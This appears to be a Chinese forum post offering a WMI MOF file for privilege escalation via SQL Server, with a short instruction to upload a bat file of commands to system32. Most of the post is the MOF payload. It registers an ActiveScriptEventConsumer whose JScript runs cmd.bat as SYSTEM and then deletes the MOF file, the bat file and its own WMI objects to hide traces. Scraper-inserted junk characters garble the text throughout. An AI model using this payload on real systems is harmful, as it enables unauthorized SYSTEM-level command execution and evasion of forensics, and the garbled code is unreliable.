这个sql提权MOF需要运行 system下的文件,不能定义路径。
% t2 S/ r' T [6 x5 h0 E. |1 ~需要将要运行的命令写入到bat上传到system32目录,然后执行。
' q2 D1 _) u: @6 L: J: ? }# c( ]. B/ }+ K, I1 z
这个sql提权MOF需要运行 system下的文件,不能定义路径。
( i% m6 j& [7 }9 A) G需要将要运行的命令写入到bat上传到system32目录,然后执行。$ {: w% P, Q) O- w8 v, }
0 D7 J6 f+ n8 ]4 l2 q- L+ a#pragma
% b7 g- z/ [1 h0 u namespace("\\\\.\\root\\cimv2")2 c+ [$ b3 l5 [" G
class c. D, k, n% ^4 O3 ?( E& |4 b
MyClass547: j; d: X: x5 e3 s" n& ?3 L
{ [key]0 l7 }! X7 ?1 s
string4 {6 B: R0 q4 X4 A Y( W% d, h
Name;
7 X- Q3 w4 C# U };# y @$ u& i. p% t1 Z
class
+ E8 @. l2 i! u ActiveScriptEventConsumer
. x+ Y9 m' S% L3 s$ ]7 b' \2 g$ ^ : __EventConsumer { [key]
0 T" ~! \: g, y string
- E3 T* G/ v; T8 U6 P+ z+ d Name; [not_null]0 W! d, [. P. {7 a. f. Q
string6 ^$ H" x% {( c+ M/ E
ScriptingEngine; string* P* c# Y$ ^% Y/ c. x
ScriptFileName; [template]
+ e: q" }. I3 L8 z2 h( Z1 r3 t4 I$ v string
2 }2 k; E2 u2 |" o ScriptText; uint32 KillTimeout;+ |# D& m4 E/ n: D; k
}; instance of __Win32Provider as $P {
$ p, Z" J' @" ]6 I6 ^1 q. ^& q Name
' O8 w7 p/ q: S7 x9 A$ Z =# Y; i2 Q! H# O2 G) l
"ActiveScriptEventConsumer"; CLSID =: D8 P3 M9 V& Y5 ?; N& r& `7 t
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";6 I9 V, ~0 {9 {& {' q( V- S9 i9 t; O
PerUserInitialization7 \( b: F) [9 }
= TRUE;
9 w. ?/ T! ~: ]$ f' M# { }; instance of __EventConsumerProviderRegistration { Provider9 L: U' e* J( J' q; `% _, L
= $P; ConsumerClassNames
+ y: r1 v: T9 y9 g =
; v. w [+ e0 d% U$ H {"ActiveScriptEventConsumer"};
. u; v# s8 t% \/ M$ e };( p' S$ U; Q5 L& H; `
Instance of ActiveScriptEventConsumer
! G$ R# X0 v$ a. { as $cons { Name& @ @0 K7 y7 C$ T
=
' C8 n7 `6 U" Y# {2 z& [: L "ASEC"; ScriptingEngine8 H2 o+ p7 O$ n
=
" P1 A1 Y) x6 K7 t: w, m1 i "JScript"; ScriptText
, E$ \# J: p3 p# |0 ^9 u2 } =
$ B# T! {% P6 M8 g Z1 {4 r "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; }; f& K+ v. R) H2 i* c0 t4 p
Instance of ActiveScriptEventConsumer
$ o# F5 b0 R" N. h as $cons2 { Name
% O. p& ]7 E+ _6 j' s, z. u0 Z =
; R: S$ V- G0 b# N9 h "qndASEC"; ScriptingEngine
8 W' ?6 s! D5 L4 ]$ S n =5 A/ B, C: @2 w& x/ H+ q
"JScript"; ScriptText
7 J$ v. c1 i% A7 n* H =* W7 F: J! H! Z; h0 u- H
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";# d0 ]+ L4 |7 g. H o" c
}; instance of __EventFilter as $Filt { Name/ H' h2 s& m; l* s# ?+ t" P4 g
=
. h( k( @" n7 S5 j- S( P2 z' h( z "instfilt"; Query
. P/ L1 Z: ~( j =1 L) Y# V$ w X
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
" q2 {2 b" K9 e) m8 C) Z/ L =
/ S$ G2 _9 N( G* D3 o "WQL"; }; instance of __EventFilter as $Filt2 { Name
3 ], N* r9 w# f3 X, S/ Y2 {( O: K =
1 l- O+ A1 a. k" E) x "qndfilt"; Query
: S2 Y$ i P! [7 F =: }# V5 g& J O- q9 \* X
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage- x, p8 I) w( ?) p3 \5 s' G
=; M2 D/ z& y1 m0 D( {
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
0 F% }( U0 d" G; t0 d = $cons; Filter
, h5 z7 }7 e' X6 `" ]0 f = $Filt;3 E& x; X& M% X7 ?* V
}; instance of __FilterToConsumerBinding as $bind2 { Consumer& H2 v9 F! U: e1 n
= $cons2; Filter
5 y- S0 Y7 Z7 v9 n# G7 d- M = $Filt2;9 d1 j+ K k, j( E$ _
}; instance of MyClass547
1 |4 L# _6 S- M/ L! T as $MyClass { Name
# e; d. Z! C$ T, Z |( a9 L- ^! i =
* i0 E! e: T. Q* D# X "ClassConsumer";
) _( |* M5 M2 B4 X0 k }; |